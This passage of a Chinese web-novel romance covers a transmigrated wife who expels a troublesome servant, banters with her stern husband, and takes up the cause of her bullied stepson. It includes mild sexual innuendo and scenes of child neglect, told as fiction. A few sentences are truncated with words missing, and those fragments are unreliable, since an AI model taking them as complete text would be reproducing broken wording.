萧欻的老娘去世后,二个孩子没了祖母,萧善那时候还没满一岁,正是需要人的时候,给她找了照顾的乳母,她依然每天扯着嗓子哭吼。
萧欻听着心烦,交代了乳母别让她哭。
乳母没办法就常捂萧善的嘴不许她发声,久而久之,等到开始学说话的时候萧善也不张嘴,乳母才晓得坏了。
也就是这样才马阿婆有了可乘之机,建议萧欻换了乳母,让范嬷嬷进了府。
晓得了这事,宓瑶不由开始思考她是不是长了张好欺负的脸。
要不然萧善都不哭那么久了,怎么见到她第一面就靠哭来让她抱。
有没有长好欺负的脸,她半个时辰后就有了答案。
因为听到她命令的罗嬷嬷,没把她的话当回事,闹到了萧欻跟前想叫萧欻来管教她。
罗嬷嬷寻到萧欻之前,他正一个人用膳。
原先只要他在府邸,萧翼去了书院,那就是他与剩下两个孩子一同用饭。
宓瑶来后,先是萧善去了宓瑶那儿,如今萧良也跟着没了影。
听到宓瑶直接让小厨房送了膳食到听松院用饭,萧欻看着眼前不过是菜肉炒熟的油腻菜色:“不是说大厨房换人了?”
濮青给宓瑶请完安就走了,但不妨碍他留人打探宓瑶都做了什么。
听到主子发问,濮青开口道:“大厨房没换人,只是进了几个人,说是掌厨做得不好,就立刻找人替了。”
闻言,萧欻嗤了声。
虞女又不食大厨房的食物,怎知掌厨做得好不好,怕是等到她入土,大厨房都换不了人。
“镇使可是觉得菜色不合口味?”
濮青试探地问道。
大厨房掌厨手艺不怎么样这事府邸人都晓得,但萧欻这个当主子的都没提过异议,他们这些下人自然是跟着吃。
掌厨的厨艺再不好,至少人规矩,不在菜料上克扣,他们这些伺候的也能吃上肉菜。
面对濮青的问题,萧欻并没有答话,只是蹙眉。
与合不合口味无关,他不好色也不好食,不过想到虞女都是吃些什么,便有些食难下咽。
虞女用他的银子过得奢靡恣意,他却是吃肉与菜一齐放进锅子里,几道菜都是一个味道的一锅炖。
这算是什么道理?
罗嬷嬷便是在这个时刻冲到了萧欻跟前,大叫宓瑶心狠,不孝长辈,不敬夫婿。
孝不孝长辈萧欻不晓得,但后头的不敬,他放了筷子,倒是想点点头。
第24章 第二十四章【VIP】
“来人是夫人从江南带来的陪房嬷嬷,不过在虞家并未伺候在夫人跟前,而是夫人大伯母院中的老媪。”
濮青是萧欻长随,大多时间都跟在萧欻身边,不是在路上就是在军营,以往他没那么注意府里的事物,这不是现在府中多了个虞女,怕虞女有坏心,他就开始注意府邸鸡毛蒜皮的小事。
特别是宓瑶身边的人员流动。
“夫人不喜欢这个罗嬷嬷,刚到府邸就把她远远打发了,今日府中奴仆请安罗嬷嬷没去,夫人应该是想借此发落她。”
听到濮青叫夫人叫的顺口,萧欻不由好奇起宓瑶给他的那个红封到底是多大。
让他改了态度,对宓瑶不再那么防备。
既搁了筷子,萧欻就没有再吃的想法。
“让她进来。”
听到主子吩咐,濮青更能确定虞女对主子的不同,若是以前主子最烦这些吵闹的妇人,今日竟然愿意见罗嬷嬷。
罗嬷嬷好不容易摆脱看守她的奴仆,没想到要到萧欻跟前了,又被不知道哪儿冒出的护卫拦住。
神色肃杀的护卫配着刀剑,一看就是跟寻常家丁不同的狠人,不用人拦她就吓得脚抖不敢上前。
但想到她今日见不到萧欻,很可能真就要被宓瑶逼着做粗使的活,她见护卫没有打杀她的意思,她才壮着胆子叫屈起来。
听到萧欻愿意见她,她喜形于色,拍了拍身上的灰,抹着眼泪进了屋内。
“镇使,你可得救救老奴,老奴冤啊!”
罗嬷嬷不像是范嬷嬷般听过萧欻的手段,害怕萧欻的气势也不至于不敢开口,她进屋就开始大哭起来,为自个叫屈说宓瑶胡闹。
“你这老媪一进门就大吼大叫,如此不懂规矩,我看该先打顿板子。”
濮青开口怒斥,罗嬷嬷立刻闭了嘴。
她跪在地上,小心翼翼地偷瞄萧欻的表情,见他神色平淡,不像是要赶她离开,才抹着眼泪,老老实实道:“老奴不是不懂规矩,实在是太冤了!镇使,老奴是虞家长辈特意给夫人的嬷嬷,让老奴教导夫人如何伺候镇使,夫人却嫌老奴多事,不理会老奴的规劝,把老奴赶离身边……老奴冤啊!”
“教导她伺候我?”
萧欻抿了口香茗,听到这话,就知道眼前这老奴的确没排上用场。
“对,老奴的作用就是教导夫人如何侍奉长辈,体贴镇使。听到镇使新婚第二日就与夫人分房,老奴深感辜负使君嘱咐!”
被宓瑶驱离,罗嬷嬷原本还觉得害怕,但见萧欻明显不喜宓瑶,不愿意与她共睡一室,她就来了精神,“夫人从小貌美被周围人惯得小脾气甚多,老奴记得有一次刺史娘子办的一场诗宴有个地方摆置的不如她意,她便掀了桌,完全不顾场合与刺史娘子的颜面,险些让虞家与刺史府交恶。”
“哦。”
这事探子写札,他看到时觉得不像是宓瑶会做的事,她脾气算不上乖巧,但也没那么愚蠢,不过见了她对潘氏的态度,他又觉得她没什么不可做的。
她就是仗势欺人的波斯犬,在心中分量完靠山的分量,就肆意对她看着不顺眼的人吠叫。
虽蠢,但配上她那张脸,还不算太惹人厌恶。
“不知道夫人做错了什么惹怒镇使,但错便该罚,镇使顾忌虞家不好开口,老奴便能排上用场!”
罗嬷嬷想靠告状让萧欻觉着她是站在他这边,只要他愿意给她权利,她便狠狠收拾宓瑶,给他调/教出一个听话乖顺的妻子。
但说了半天,口干舌燥也没听到萧欻应承,抬头偷偷瞧去,萧欻依然是那副淡漠的神色。
“镇使,夫人的性子若是没人看着只会越发越不成样子,她明知镇使不喜欢有人与小郎君和小娘子们太亲近,还一再出头,把小娘子带在身边不说,如今与二郎君也十分亲近,从此以往二郎君只会越发没有男子气概,哭哭啼啼,长成镇使最厌恶的模样。”
罗嬷嬷这几日在萧府也不是什么都没干。
她仗着身份到处打听消息,萧欻对三个孩子冷淡的事不是秘密,宓瑶做事完全犯了萧欻的忌讳。
萧欻作为孩子们的亲人都没怎么对孩子费心,又怎么会喜欢一个外来的女人跟孩子们亲热。
她甚至觉得两人才洞房就分房,就是因为宓瑶没有分寸多管闲事。
果真她提及萧善他们,萧欻终于有了些反应,他如刃的目,嘴巴粘得厉害。
但为了之后的日子,她掐着手嘴巴不停:“夫人应该是使小性子,故意惹镇使生气才接近小郎君与小娘子,若是没人在她身边规劝,长此以往不是好事……”
嬷胡扯到这句。
她没开口反驳,只是放轻了步子,跨过门槛,
濮青看向她,。
对上萧欻的冷眼,宓瑶朝他绽开了一个无声的笑。
罗嬷嬷浑然不知她说坏话对象就在她背后,感觉到说孩子能引起萧欻情绪反应,她就不停说孩子。
“夫人为二郎君出头,让他往后知道了可以仗着家世不把人看在眼里,往后二郎君不就要变成纨绔子弟了!”
萧欻本就听烦了罗嬷嬷啰嗦,见宓瑶过来想看她要做什么,才没有立刻赶罗嬷嬷离开,而如今见她进了门不发一声,显然是什么都不打算做。
“既在益州待不惯就回江南罢。”
“镇使!”
罗嬷嬷不相信自己的耳朵,她说了那么久,萧欻竟然不教训宓瑶,反而要赶她走?!
她不信萧欻能有那么好的脾气,转念一下,萧欻这话不一定说她,她趴在地上哭道:“镇使与虞氏结下百年之好,虞氏千日送娘子到益州与镇使成婚,这婚事怎么能说断就断,镇使气愤也不能把娘子送回江南啊!”
“我何曾说要送虞女回去。”
罗嬷嬷一愣。
“你是虞使君的人,虽然费事,我愿给使君一个颜面,把你原路送回。”
萧欻说完没给罗嬷嬷再说话的机会,濮青上前堵住她的嘴,直接把她拖了出去。
“可惜少了个干活的粗使。”
罗嬷嬷被濮青拖着转头,瞧罗嬷嬷瞪大眼睛像是看鬼一样看她,宓瑶笑道,“郎君让人去我那取了这老奴的卖身契,一同还给我大伯。”
说完,她走到萧欻跟前,余光扫到坐上的菜色,她似乎猜测一些萧欻愿意见罗嬷嬷的原因。
她来之前根本没想过罗嬷嬷能见到萧欻。
萧欻明显对妇人吵闹避之不及,明知道罗嬷嬷见他是告状闹事,怎么可能会见。
她特意过来是想到萧欻给她的警告,让她管理好内宅不然就军法处置。
想着吃饱了没事闲着来撒撒娇也成。
谁知道看了意料之外的热闹,既然萧欻见了罗嬷嬷,她就不想往自己身上揽事,想看萧欻如何处置罗嬷嬷。
顺便探探萧欻是怎么看她与萧善他们亲近。
“镇使待我真好,给我解决了个大麻烦。”
宓瑶往萧欻腿上一坐,手挽住了他的脖颈,媚眼如丝地瞧他。
“松手。”
“不嘛,又没有旁人。”
不知道自己是不是旁人的濮青踏入门扉的脚顿了顿,他把弄走罗嬷嬷的事交代下去,就飞快赶回来想要看主子如何训斥虞女,谁知道片刻的功夫虞女就坐主子腿上了。
见主子嘴上说松手,但虞女不松,他也没有把虞女扔开的打算,濮青默默倒退,放弃了进屋的打算。
萧欻耳力惊人,宓瑶发现不了,但他察觉了属下的进进退退。
他蹙眉:“你是没有骨头?”
自个坐不了,非要攀附在他的怀里。
“一见到镇使骨头就酥了,要不然怎么能叫娇妻。”
听她今日换了个词,不再说什么娇花,而是娇妻。
虽然听着依然不顺耳,但比她一直用他说的词当盾牌要好上两分。
宓瑶没想到她习惯在心里絮叨自己是娇妻,然后*不留意真说出来了。
触到萧欻紧绷的嘴角,她手痒去抚摸他衣领的浮绣,娇笑道:“我是镇使的小娇妻。”
说完觉得实在觉得好笑,不禁埋头到萧欻脖颈处闷笑,缓了两声,才继续,“所以镇使要护着我,宠着我,往后遇到这般刁奴,也要站在我这边。”
女子暖香环绕周围,萧欻觉得自己脖颈那块濡湿全是她的口水,手指顶着她额头让她离他远了些。
“笑什么?”
宓瑶脸上的笑容满溢,除了娇嗔,她显然还因其他事发笑,但他不懂她的笑因。
“笑自然是因为被镇使宠溺而高兴。”
“少装蠢儿,我赶走那老媪的缘由你知晓。”
他半点宠溺她的心思也无,在赶走罗嬷嬷前特意提了虞家家主,便是提醒虞家手不要伸得太长,往萧家塞人。
说的如此清楚明白,他不信她不懂。
“萧郎就是好,若是旁人什么都没做得了美人青睐,也会笑纳领功,而萧郎做了却还推拒认好,如此口是心非,教我心疼。”
萧欻低眸看了眼她的心口,隔了那么厚的肉,怕是轻易疼不了。
“萧郎就是为了我!郎君为我如此用心,我也会用心对郎君。”
原先她对撒娇这事并不擅长,因为长相加上贫穷,她在现实世界也不爱与异性说话,免得多说两句,就让对方觉得她在眉目传情,众所周知,脾气好的穷美人是男人最好的猎物。
而穿书后,在萧欻这里她才发现了撩异性的乐趣。
哪怕两人有了洞房时的肌肤相亲,萧欻亲人摸人时一点都不正经,但下了床之后,萧欻拒人于千里之外的模样,会让她感受到女人对男人撒娇的乐趣。
宓瑶眨巴眼睛:“郎君,你哄哄我,说你心中有我。”
宓瑶摇了摇萧欻的胳膊,但萧欻没让她如愿,他站起把她抱到了离他最远的凳上,然后返回坐下。
“那老媪的话你听了几分?”
“就听了郎君瞧见我时说的那几句。”
知道萧欻是要正经与她说话,但坐在没有软垫的椅子上,宓瑶觉得浑身不舒服,所以她边说又边站起,坐上了他分开的一边大腿。
本来想着坐在人怀里,手就老实一点别讨嫌,但对上萧欻的冷眼,她怕他推开她,所以胳膊还是软软地环在了他的脖颈上。
“不抱萧郎,我像是不会坐了一样,我可真笨。”宓瑶装佯握拳敲了敲头。
“这般的力气可敲不出脑子里进的水。”
萧欻手握住了宓瑶的拳头,倏然发力,吓得宓瑶往他怀里一缩,怕他一锤子把她脑浆敲出来。
“萧郎手好大啊。”
宓瑶松开拳头,手心一转,指尖钻进了萧欻的指缝,与他十指相扣。
“与我那处一样。”
萧欻腿动了动,宓瑶的屁股往里倾斜,皮肉隔着布料靠近了那个发热隐隐要发硬的物件。
宓瑶:“……”
撩这种事情她撩他避才有意思,若是他来者不拒上荤的,她就犯恶心了。
见宓瑶松开手,退到了旁侧的椅子坐下,萧欻嗤了声。
他晓得了治她毛病的办法,但这办法杀敌一千自损八百。
“那老媪看得出的事,你应该知晓不需我提醒,你只需要管府中事务,萧善你不必带在身边。”
“听松院的事务不算是府中事务?”
“不是让你不管听松院,而是不必讨好他们,装出一副慈母模样。”
萧欻这话,她应该欣喜雀跃,然后撒娇卖乖,说萧欻为她省事对她好。
但萧善哇哇大哭,还有萧良充满信任的眼眸在脑海浮现,宓瑶敛了敛脸上的笑容:“我未当过慈母,也不知道什么模样是慈母模样,只是小娘子亲近我,我也不排斥她罢了。”
“你不必可怜他们,他们也没有任何需要你可怜的地方。”
“他们有镇使那么好的爹,哪需要可怜。”
听出他说一句她驳一句,她神态控制的很好,但语调却隐隐带了怒气。
萧欻不止不耐,还升起了一丝戾气。
萧家的孩子与她没有一丝关系,她怒个什么。
“既然你知道,就自个丈量分寸,什么该管什么不该,萧善会哭是觉得哭有用,你让哭变得无用,她自然不会在往里的屋内偷跑。”
“为什么要让一个三岁有靠山的小女娘知晓哭没用?”
宓瑶晓得孩子是萧欻的,他不用她管反而省了她的事,但她心里就是积了一团火,忍不住想与他争吵。
娇嫩的芙蓉面覆了一层薄红,娇艳非常。
萧欻觉着宓瑶真该感谢她有这张脸,男人对好看的女人总是能多几分耐心,哪怕知道她愚蠢,肤浅,不老实,他依然也不能免俗。
换了旁人他哪有兴趣与她争执对错,而是直接把人关了了事,什么时候听话了再放出来。
定定看了她半晌,见她不愿退步。
萧欻淡淡:“不管她是几岁,哭都无用,你能怜悯她多久,一日?两日?她得了你宠爱不再可怜,你迟早有腻味的时候,到时她还是要哭。”
不该与宓瑶说这些,但既然开口,萧欻干脆说完了最后一句。
“至于靠山,一个刀口舔血的武夫,有何可靠?”
淡色狭长的眼眸满是尖锐的冰凌,感觉出萧欻是在她面前流露了真情绪,宓瑶怔了怔。
萧欻说的是实话,她会关照萧良与萧善,很大部分都因为觉得他们可怜,若是有朝一日他们看着不那么可怜了,她也不知她还会不会与他们亲近。
她晓得萧欻是男主,他这个靠山不会倒,而对萧欻来说,他现在哪怕有了官职,依然是赵天赫指哪打哪的刀。
他都这般说了她还能说什么。
若说萝卜头可怜,她从见到他们,他们的吃穿就没缺过,只是身边的人对他们怠慢,萧欻不愿护短不愿像是寻常父亲一样宠爱孩子。
这是萧欻当父亲自个琢磨出的养孩子方式,她一个外人插什么手。
第25章 第二十五章【VIP】
宓瑶从听松院出来时与萧良他们说好,她先去萧欻哪儿一趟,若是没什么事就返回与他们一同散步。
等到从萧欻哪里出来,她神色闷闷,没去听松院,而是脱衣上床,捂着被子躺好。
躺一会觉得无聊,手伸出软衾,她又看起了没看完闲书。
见状,霜华和虞琇对视松了口气,她们一直都在宓瑶身边,所以对她的脾气起伏摸索的十分清楚。
以前的宓瑶时常生气,得不到想要的首饰生气,在诗会捧她的人不够多生气,有时在府里与继母李氏多碰几面,她也能气半日。
但近半年来宓瑶似乎就没了生气这个情绪,有任何不如意立刻就会抒发出来。
所以倏然见到宓瑶神色黯淡,她们都有些惴惴。
现在看到她如往常一样慵懒躺在看榻上看书,看到乐处翘唇发笑,她们又安了心。
宓瑶自个不提去听松院,自然不会有人赶着她起床,到了快灭灯时,诗雅才上前问道:“夫人,要不要把小娘子接过来?”
“接,顺道跟二郎君说一声,我去过镇使那儿累了就回了房休息,没去与他们一起散步。”
宓瑶眨了眨发酸的眼睛,没在这件事上犹豫。
刚从萧欻哪里出来时,她心情低落,什么都不管什么都不想理了,但缓了一刻钟,她就觉着自个太被萧欻带着走。
她为什么要管萧欻怎么想?
当娇妻跟当员工不一样,前者是靠长相和撒娇卖乖获得生活所需,后者是当牛做马换来草料糊口。
再说除却外貌她还有家世背景,抛开她已知萧欻是赢家这点,就像萧欻说的那般,他现在不过是不知道明天就死在战场上的一把刀,而她可是虞氏嫡女。
他是新贵,她是望族。
如此这般,她表面功夫做够就成,没必要为他委屈她的情绪。
养崽游戏既然决定开始了,那就等她玩够了再说。
萧欻跟宓瑶同住一院,她派人去接萧善,萧欻自然得了消息。
“镇使,不若小的去提醒夫人?”濮青开口问道。
虽然他觉得小娘子因为虞女教导开始学习说话,这是好事一件,但既然主子不满意那就不对。
“不必。”
萧欻不觉宓瑶没听懂他的话,而是没把他的话放在心上。
既然他说她都没放在心上,那便没什么好说。
宓瑶我行我素本以为会要再受萧欻几记冷眼,但隔日萧欻就开始早出晚归,两人住在同一问院子偶尔碰面都是匆匆。
她本来看到萧欻的饭食想到两人成了亲以后该一起用饭,因为他行踪不定,这事她都不用操心了。
可以继续只在乎自已口味的在小厨房点餐。
“姐夫这般,哎……”
虞琇重重叹了口气,叹完见阿姊不理她,依然在和萧良萧善捏圆子,她只能抿着嘴巴自个暗暗着急。
而宓瑶连看都懒得看虞琇的苦瓜脸一眼,她真不知虞琇每日都在焦虑什么。
府中不缺她吃穿,也无人违背她的意思,把她当做内宅的二把手,萧良都放松下来,开始笑容渐多,就她每天想着萧欻高不高兴。
“你在边上,这丸子煮出来是苦的,那就是你的错。”
跟萧善他们捏好了糯米丸,下水烹煮前,宓瑶怕煮出来的口味不佳,特意把责任推到了虞琇身上。
“阿姊,我又没有做什么。”虞琇一脸委屈。
“你唉声叹气,像个苦瓜似的,这些吃食被你惹得那还能甜的起来?”
宓瑶揉的是花馅的糯米圆子,内馅有栀子花,梅花,山茶花……花瓣这东西调制不好就容易发苦,所以哪怕是用白醋调过她也怕自已失手。
说起来这算是她第一次正经做吃的。
小时候在福利院,吃的不怎样但有护工,不需要她动手做饭,等到上学就是吃食堂,后面毕业创业每天忙得要死,她就是吃各种外卖,厨艺停留在能把面条煮熟的程度。
最近有了下厨的想法,说起来还跟萧欻有点关系。
这时代的人员管理比现代简单许多,卖身契一签,任何人做事都要掂量几分。
所以哪怕萧府有了四十多个下人,霜华也很快上手,按着宓瑶交代的准备了一个册子,每日给人员指派要做的事情,等到他们做完她检查画圈就是。
府,她就开始面试厨子,给大厨房换了两个新厨,希望萧欻吃的好点,心
在面试的过程中,她面了一个擅长做闽派点心的厨子。
想起了上一世,到处收集资料,让主角团们做了一份份惊艳路人的点心,她就来了兴致,给小厨房新添了一个厨子,每着做一做。
的跟屁虫,她做什么他们也跟着做什么,所以就有了现在这个场面,穿着绣娘临时做的围兜与袖套,脸,做蜜团子。
虞们天真无邪,成日只要有吃有喝就乐呵呵,但她有什么办法,她又不是小孩没长脑子,是理所当然。
瞧着阿姊跟萧善他们吃上了撒了桂花干花粒的蜜团子,她尝了一口发现甜滋滋的一点都不苦,她心中更是堵了气,出了院子到处闲逛。
她先去找了霜华,见她忙的没空与她说话。
她在旁边站了一会觉着没事干就去了荷花池。
相比与阿姊刚来萧府时的烂泥潭,如今的荷花池虽然依然只剩一片枯杆,但有了干净的活水,池水清澈,时不时还能看到几只大鱼冒头吐泡泡。
除此之外,池边还种了不少以往没有的常青树,没有枝叶的花树也种了几株,能想到到了春天会是什么景色。
在虞家先是大房才是二房,二房还有李氏把控,宓瑶是嫡出住的院子好,但因为二房子女多,院中的厢房也安排了其他庶出姐妹同住。
那时候阿姊想在院里种花都拥挤没地方,更何况是她。
而现在阿姊种树前会问她一声,问她喜欢什么花,若是有喜欢的就让霜华一同采买,让花匠伺候。
相比起来如今已经好了太多,萧府没人会拿她是庶女说事,她是阿姊的妹妹就是府里的主子。
这般她还不知足,每日愁眉苦脸,怪不得阿姊会厌烦。
想通了之后,虞琇的气也散得差不多了,缩了缩在冷风中受凉的脖子,她决定回去跟阿姊认错。
只是她没走几步就顿住了步子。
“我当是谁,原来是你在这里偷偷摸摸躲着。”
虞琇听到窸窣的动静没有立刻出声,而是垫着脚尖走到了假山后头,看到萧翼也没叫他,被他发现后才开口讥讽。
目光扫过萧翼慌乱穿好的衣裳,虞琇哼了声:“我当你多厉害,原来在外头被欺负成了这个样子。”
萧翼发现她发现得快,但她依然看到了他肩上的淤血,再看他手上拿着的药膏,就明了他躲在这里是在干什么。
“小姨母,我是摔了。”
萧翼垂眸辩解道。
“摔了为何要躲在这里偷偷摸摸的抹药,再说摔倒该是膝盖和脸受伤,要不然就是后脑,你受伤的分明是肩头。”
“我腿上也有受伤,摔下去的时候也砸到了肩……”
“原来被打的地方还不少。”
虞琇才不信他的鬼话,虞家孩子多,她小时候就没少被姐妹欺负,只是都是女娘,她们不会压着打她,而她听其他人说,男丁那边欺负人连鼻子都会打出血。
萧翼如果只是摔倒根本不会躲着擦药,会躲起来就说明心虚,说明不想让人知道。
会让他心虚,那对方一定是让他开罪不起的存在。
而他一个无父无母没有萧家血脉的养子,开罪不起的人太多了,之前他跟萧良连马家那个四岁的虎头都害怕。
“小姨母,我出身不好,能得阿爹收养在府邸已经是好运,他们对我动手也是为了教我规矩,我不愿母亲跟阿爹为我操心,还请小姨母就当今日没看到我。”
察觉到虞琇眼中的轻蔑,萧翼知道她看不上他,干脆贬低起自已,让虞琇知道不把他被欺负的事宣扬出去他就会受更多的罪。
果真他说完就听到虞琇冷哼:“我就是听到动静来看是不是有小贼,谁耐烦管你的事情。”
说完虞琇转身就走,见状萧翼松了口气。
收好药膏,他没有立刻回听松院,而是另外找了个避风的地方,隔着衣服揉开肩上的肿块。
其他地方受了拳脚没事,但这个地方一肿他握笔写字就发疼,一疼就写不好字。
若是夫子嫌他的字不好不愿教他,那可比被欺负更严重。
等到他觉得身上药味散的差不多返回听松院,刚进院门就听到嬷嬷说宓瑶过来了。
听到宓瑶来了,他呆愣地看向高傲扬着脖颈的虞琇。
对上他的目光,虞琇翻了个白眼。
她当然不会管他的闲事,但是阿姊是她依靠,她怎么可能瞒着阿姊任何事情。
一离开假山她就把猜测告诉了阿姊,说萧家大郎看着有本事,实际上是个在外头被人欺负不敢吭声的蠢蛋。
“你怎么现在才回来?阿姊都等了你一盏茶的时辰了。”
虞琇朝萧翼不耐烦道。
*
宓瑶是在听松院的书房等待萧翼,不吹风还有书看,一盏茶倒也等得不累。
待了一会她还起了在她院子也再划分出一问书房的想法。
新仆进府,她除却多分了几个到听松院,还重新划分了听松院几问房的用处。
原本是三个孩子住在一屋,萧良的嬷嬷跟院里绣娘住在一起,而范嬷嬷单独住一问屋子。
用范嬷嬷的话来说,就是她是帮小娘子守屋子,算不得单独住一问。
屋子打开,里头布置倒是都按着小孩子的喜好,座椅也都是放矮了,跟萧翼的屋子差不离多少,但就没见多少萧善的东西,还一股范嬷嬷身上老人家冬日不常洗澡的酸味。
有时候宓瑶真觉得自已不是同情心泛滥,而是遇到的事情都太没有逻辑,让她没办法睁一只眼闭一只眼。
罚了范嬷嬷三个月月钱,宓瑶开始重新布置萧善的屋子,还清了三问屋子,一问给萧良,一问拿来当书房,一问当做游戏房。
“不是现在就要让你跟你兄长分房睡,而是让你有个自已的屋子,你的东西都可以放在你屋子里,等哪天你觉得你长大了能自已睡了,进了这问房也不觉得陌生。”
嘱咐了萧良,她又说了另外两问房用处。
划分完了三个孩子要用的屋子,剩下的事宓瑶就没管,范嬷嬷要与几人同睡与她无关,反正就是睡在院子空地上,也不能去占主子的屋子。
宓瑶做这事时萧翼在书院,等到回府邸听到萧良兴奋地跟他说了这事。
他特意去谢了宓瑶,并且接受了她的好意,把看书写字的地方移到了书房,而不是继续用房里放点心的小圆桌当书桌。
“母亲万安。”
进屋跟虞琇几个眼神来回后,萧翼看到宓瑶在看他放在桌上练字的草纸,不由有些脸红,“母亲,我的字不好。”
相比于那些四五岁就启蒙的世家子弟,在被萧欻收养前他一个字都不认识,被收养后他也没有学认字的想法,而是想法子练力气学招数,想像萧欻一样从戎。
到了今年知道阿爹平日在家都会学字看兵书,他才开了窍,认真开始学起认字。
因为学的晚,他的字是书院中最差的。
因此周围的其他学子没少嘲笑他,而宓瑶又是最讲规矩看中才学的世家嫡女……萧翼一时问有些忐忑。
“以你的年纪来说写的挺好,我在你的年岁,笔还拿不稳。”
看着草纸上端正的楷书,宓瑶没拿原主的学习进度说事,而是说她自已。
她第一次摸毛笔是在她的小一,因为福利院平日连写字都不怎么教,她上小学握铅笔,练习了很久才懂正确的握笔姿势。
等到握毛笔的时候,她没办法改过来,写着写着就变成了握铅笔的方式,还被老师骂蠢来着。
搞得她以为她真脑子发育不全,无法控制自已的手,到了长大她才晓得还有执笔无定法这句话。
“过来写几个字让我看看。”
想到握笔,宓瑶让萧翼上前,见他是悬腕写字,更觉得他练得不错。
至于笔画上的颤抖,她看了眼他的胳膊。
欺负他的人倒是聪明,不往他脸上打,往他要握笔的胳膊上打,不会让大人发现,又能让他吃苦头。
萧翼写了今天夫子教的句子,写完后搁下笔,低着头站在宓瑶面前,没有主动开口的意思。
“阿姊,我就说他不识好人心,你来也是白来,他只会装哑巴什么都不说。”
“我没有,我知道感谢母亲忧心我……我只是摔了。”
听到虞琇的话,萧翼怕宓瑶误会,开口解释。
说着,他偷看了一眼宓瑶的神情,看不出她的喜怒。
这些日子下来,他已经清楚知道宓瑶是个心软的好人,她会教妹妹说话,会怕二弟孤单,时常叫二弟去主院。
这种情况下,他很想自个能省事一点,不要在给宓瑶添麻烦。
可偏偏他在书院再老实,还是有人盯上他,觉着他碍眼。
“明日我去一趟你书院,你给我指指看是摔哪了。”
宓瑶说着想到萧翼平日出门上学的时辰,顿了顿,“当然不是与你一同出门,我起不了那么早,明日晌午前到吧。”
“我真的没事,母亲,你不必为了我出门。”
知道宓瑶这是不信他说的话,萧翼抿了抿唇,二弟和小妹还小,而且是萧家的血脉,他们得到宓瑶的照拂正常不过,但他不过是个养子。
“你今日要在听松院用饭还是跟我去主院?”
他还在想如何劝宓瑶,但宓瑶已经站起准备离开,听到她的问题,萧翼愣了愣,回道:“孩儿在听松院就可。”
宓瑶应了声,神色淡然,萧翼摸不清她说明日要去他书院,是真的要去,还是随口一说。
等到用完饭,给他看外伤的大夫来了院子,萧翼就知道他的事宓瑶是进了心。
被大夫检查过全身,把受伤的每一处都擦了药后,萧翼红着脸犹豫再三,还是去了主院。
宓瑶跟阿爹成亲后,他做好了每日跟她问安的准备,但宓瑶没有早起的习惯,每日他去书院时她还没有起床。
问不了晨安,他就改成了夕省。
但一次过后,宓瑶就说她不讲这些规矩,让他吃完晚食完成功课要么去玩要么去睡觉,不用特意到她跟前罚站。
明白宓瑶是不喜他经常出现在她跟前,所以那次之后他就再没来过主院,只是偶尔在听松院看到宓瑶。
想到这些,他更不明白宓瑶为何要给他请大夫,明日还要特意去一趟书院。
难不成因为他受伤了他就不是麻烦累赘了?
见萧翼谢完她就站着不说话,宓瑶也没管他,而是继续纠结面前花材。
因为平日就看书一样消遣,她发现她视力比起开始时有些降低,所以除却做点心,她还给自已的消遣项目添上了插花。
她现代没学过插花,原主以往也没涉猎。
所以她的学习方法就是把府里的瓶花图都翻了出来,跟着其他有品味的文人学着怎么插花。
几次下来倒也得了些乐趣。
她今日准备是一尊大肚蓝釉瓶,以腊梅、南天竹为使枝,以山茶为主花。
花材不复杂,但她修来修去跟瓶图都有出入,所以注意力都集中在了修剪上。
“我做的花景漂不漂亮?”
全部修完,宓瑶离远了欣赏了一会,才朝屋里唯一的观众问道。
“母亲,做的花景很漂亮。”
萧翼都没想到几支花能摆出那么好看的模样,以往他觉得宓瑶并不像是其他人说的那般,与常人不同是高高在上的世家贵女。
但现在看来她还是与俗人不同。
看萧翼的神情,宓瑶就知道他在想什么:“我就是闲着没事给自个找个消遣,形状是跟着画师的画上学的,花材是差人去买的,虽然我不否认我的厉害,但我也没你想的那么厉害。”
宓瑶说完让诗雅把花景端出去,开始回归正题。
她这个人怕麻烦,萧翼省事她自然不会特意揽事管他,但被欺负不是小事,她当然不可能视而不见。
萧翼不愿意坦白,那就只能她来主动把事挑清楚。
“你阿爹的本事在那摆着,想来会招惹你的人也不会是普通人。我原本想着可能是马家人,马阿婆没脑子,把萧府看做了她家后花园,我解雇了大厨房她的亲戚,又罚了范嬷嬷月钱,她最近没动静的样子实在不像她,但见你那么一副宁死不说的模样,怎么,欺负你的是赵家人?”
小孩能得罪什么人。
虞琇一说萧翼被欺负,宓瑶就想到了自已身上。
先想到了马家,在书房见萧翼不愿开口,她就多想了几分,想到了她前两日拒了赵七娘的帖子。
萧翼没想到宓瑶随便一猜就猜出了原因,还猜对了人,更不愿意她明日去书院。
“今日对我动手的是马虎的堂兄,他比我大许多,我拳击功夫不如他,但我今日吃了亏,他往后应该会消停下来不再找我麻烦。”
“你吃了亏,他怎么会消停,你是不是说反了,得让他吃了亏,他才会消停。”
宓瑶说完让诗雅拿了披风:“去找几个身强体壮的婆子同我们一起出去。”
想到府邸都是新来的,怕找不出几个镇得住场子的妇人,宓瑶又道:“去找一趟濮青,让他给我两个护卫。”
她不介意快入夜的时辰为了孩子大闹旁人宅院,但安全问题一定得保障了。
听到宓瑶的吩咐,萧翼意识到她要做什么,拦在了她的面前:“母亲不必为我这样,马成春下手有分寸,没让我受什么重伤。”
宓瑶真佩服萧翼,有谁能在被揍的情况下,还能说对方下手有分寸。
“我晓得你是怕马家后头人,也晓得应该是赵家人指使马家小子对你动手,你放心我打上门去,马家人说了什么我都当做听不见。”
宓瑶拍了拍萧翼的肩让他安心:“欺软怕硬这事,不止他们懂,我也懂。”
萧翼还在消化宓瑶说的话,就见她已经穿好锦缎披风,神采奕奕地出了院子。
第26章 第二十六章【VIP】
听到宓瑶要护卫去马家闹事,濮青先是痛快给了人,之后才去给主子送信,问主子这事要不要阻止。
他去送信的步子不快,打心底想让马家人吃个教训。
说起马家他也是一肚子气,马虎死去的爹是主子的同僚,马松平人品不错,跟主子有些情分,除此之外当年主子的母亲去世,马家人的确帮了不少忙。
只是这个帮忙帮着就变了味。
在萧府塞自个的亲戚就算了,还容着马虎欺负萧良他们,不晓得还以为萧家是他马家的附属,要听他们马家的命令办事。
平日里主子不着家,不晓得马家人具体多没分寸。
而他想告状也因为不晓得马家人在主子心中有多少分量,不好拿这些闲事来扰主子,只能由着马家人作威作福。
现在幸好有了宓瑶。
濮青开始觉着府中有个夫人是件好事,宓瑶来了以后,赏钱发的多了,大厨房有了会做饭的厨子,现在马家也要被她大刀阔斧地收拾一顿。
若是她嫁人前没跟那个书生搅合就更好了。
*
话转宓瑶这头。
